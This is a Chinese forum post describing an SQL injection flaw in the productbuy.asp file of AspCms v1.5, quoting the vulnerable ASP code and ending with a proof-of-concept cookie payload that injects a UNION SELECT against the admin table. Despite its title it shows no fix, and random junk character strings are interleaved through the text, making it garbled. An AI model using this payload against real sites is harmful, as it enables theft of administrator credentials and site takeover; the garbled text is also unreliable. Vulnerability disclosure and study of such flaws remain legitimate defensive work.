AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
8 H+ C* F' A3 \8 l也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
3 s" M7 T% I" T废话不多说，看代码：
6 o7 f7 l3 d- s) z# J' F
<%
8 L+ S' O2 H: Y6 R  E; h* e
if action = "buy" then
1 q3 \+ q$ b& P3 z" i8 Y9 G: w# p4 b
* q4 a0 h% D7 W. g) x- i        addOrder()
$ W$ E+ T( _8 n! N6 D4 b
" d& V$ n+ e7 H) g/ X/ `" p; Velse

' e9 @1 A* l. j# C# o* F1 v        echoContent()

end if
) |, C' p- h; s3 z. r  r. h# s
* P: b2 |0 T7 I

' ^' [$ b9 k$ r2 ?% d: T……略过

4 E7 O! h; Z. x& |7 M  A
% {; C' q; U) A6 L* D
Sub echoContent()

        dim id

8 d, f0 j, k* V+ |        id=getForm("id","get")

; N, A& X3 K1 W- l/ c6 S# O        
) U. T3 y$ j. d! l+ }; i1 \( E
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
( Y) D) r7 \: B# Z9 `" `8 b
        

        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
% N$ t/ C/ @1 q' X7 G* ~
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

& d* z0 i9 V  F( ~# h        Dim templatePath,tempStr

, V) l2 ^  ], B& l( @0 [  o* _        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
( }0 |9 Y( B5 w
1 J' S8 j2 |) l; h' }1 C, a
( i4 U! f2 r! A- m4 u4 ~
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
1 P/ [" v/ M  \8 Y" g% ]; o) P0 `. A# z
6 o; ^$ j) {5 i' ~4 c        selectproduct=rsObj(0)
' B- o2 E3 _" ~* N5 ^. O5 c, g5 ]
        
) @" k% w0 ]. v9 p# d( a
5 L" C- e  u* A/ H        Dim linkman,gender,phone,mobile,email,qq,address,postcode
% @4 K: b7 X$ u5 T9 l
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

* O3 W. S! o; ]' A0 U        if rCookie("loginstatus")=1 then  

$ D2 H* ^3 j) U; O9 h' @, w                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

                linkman=rsObj("truename")
' C9 Y) e8 l/ C, }* W6 n$ V
                gender=rsObj("gender")

) G7 L0 [( m( |+ I& k6 g                phone=rsObj("phone")
& ~  l! p7 g: K1 K
                mobile=rsObj("mobile")

                email=rsObj("email")

                qq=rsObj("qq")

                address=rsObj("address")

+ }2 r) t1 X; E/ |% y5 `                postcode=rsObj("postcode")

4 a2 r$ ~" v) t        else

9 p2 ^+ \( J0 I) D& e% r                gender=1
4 T/ j& k' z9 X7 E
2 b5 \- M0 y/ F9 V7 V0 `        end if

, Q$ W: P" E. T/ R) D4 Y+ u        rsObj.close()
5 b; K8 K( q0 v6 j, z3 t& U
               
- x6 \" z; K1 c" N% y: q) u
        with templateObj
# ~9 f2 ]2 }- _* h9 j0 n) x8 U/ ~
8 ~( n6 A, W) T: o* V" n/ E4 D2 k                .content=loadFile(templatePath)        
5 B% {  Z4 k/ C7 c) \
                .parseHtml()
; L5 P" J! {4 R" Z. z" r
% [0 ^) X& g6 U7 R  f                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
1 L3 s; k( x6 A6 u5 X
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

                .content=replaceStr(.content,"[aspcms:gender]",gender)               
1 k" K/ {" C# `! k# D, U0 I4 Z+ I5 c2 g
: W9 P% s! S9 {+ Q* F3 P8 H% @                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
- ], [- C$ k& i. U$ z
* s  P2 l" V! A) |+ d* v                .content=replaceStr(.content,"[aspcms:email]",email)                        

2 `/ ]( b& {- J* g2 A* ^                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
/ y2 S$ w7 F6 S4 P
& H) @: d" J; c, ]% m7 S                .content=replaceStr(.content,"[aspcms:address]",address)                        

$ F5 V& \& b- R                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
; ^/ J* ~  g" Y
                .parseCommon()                 
0 r' {( R7 |/ S6 A% ]( @; ]# G5 q# a
3 L2 b, C5 }1 `9 F" D. t* m                echo .content

7 F$ |' U- d+ n( u9 S        end with

        set templateobj =nothing : terminateAllObjects

End Sub
漏洞很明显，没啥好说的
poc：

javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
- A% y9 I% R$ O( y5 ~6 ?$ ]
% M, s# Q+ c2 T7 X